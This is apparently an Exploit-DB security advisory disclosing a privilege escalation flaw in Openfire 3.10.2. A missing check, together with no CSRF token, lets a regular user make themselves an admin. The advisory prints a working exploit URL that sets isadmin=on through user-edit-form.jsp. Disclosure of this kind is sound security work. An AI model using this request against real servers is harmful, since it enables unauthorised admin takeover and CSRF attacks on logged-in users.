Openfire 3.10.2 - Privilege Escalation

EDB-ID:

38190




Platform:

JSP

Date:

2015-09-15


[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-PRIV-ESCALATION.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Privilege escalation



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
No check is made when updating the user privileges, allowing regular user
to become an admin.
Escalation can be done remotely too if user is logged in as no CSRF token
exist.





Exploit code(s):
===============

Become admin!

http://localhost:9090/user-edit-form.jsp?username=hyp3rlinx&save=true&name=blasphemer&email=ghostofsin@abyss.com&isadmin=on




Disclosure Timeline:
=========================================================

Vendor Notification: NA
Sept 14, 2015 : Public Disclosure




Exploitation Technique:
=======================
Local or Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] GET


Vulnerable Product:             [+] Openfire 3.10.2


Vulnerable Parameter(s):        [+] isadmin


Affected Area(s):               [+] Admin


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or exploits by the author or elsewhere.

by hyp3rlinx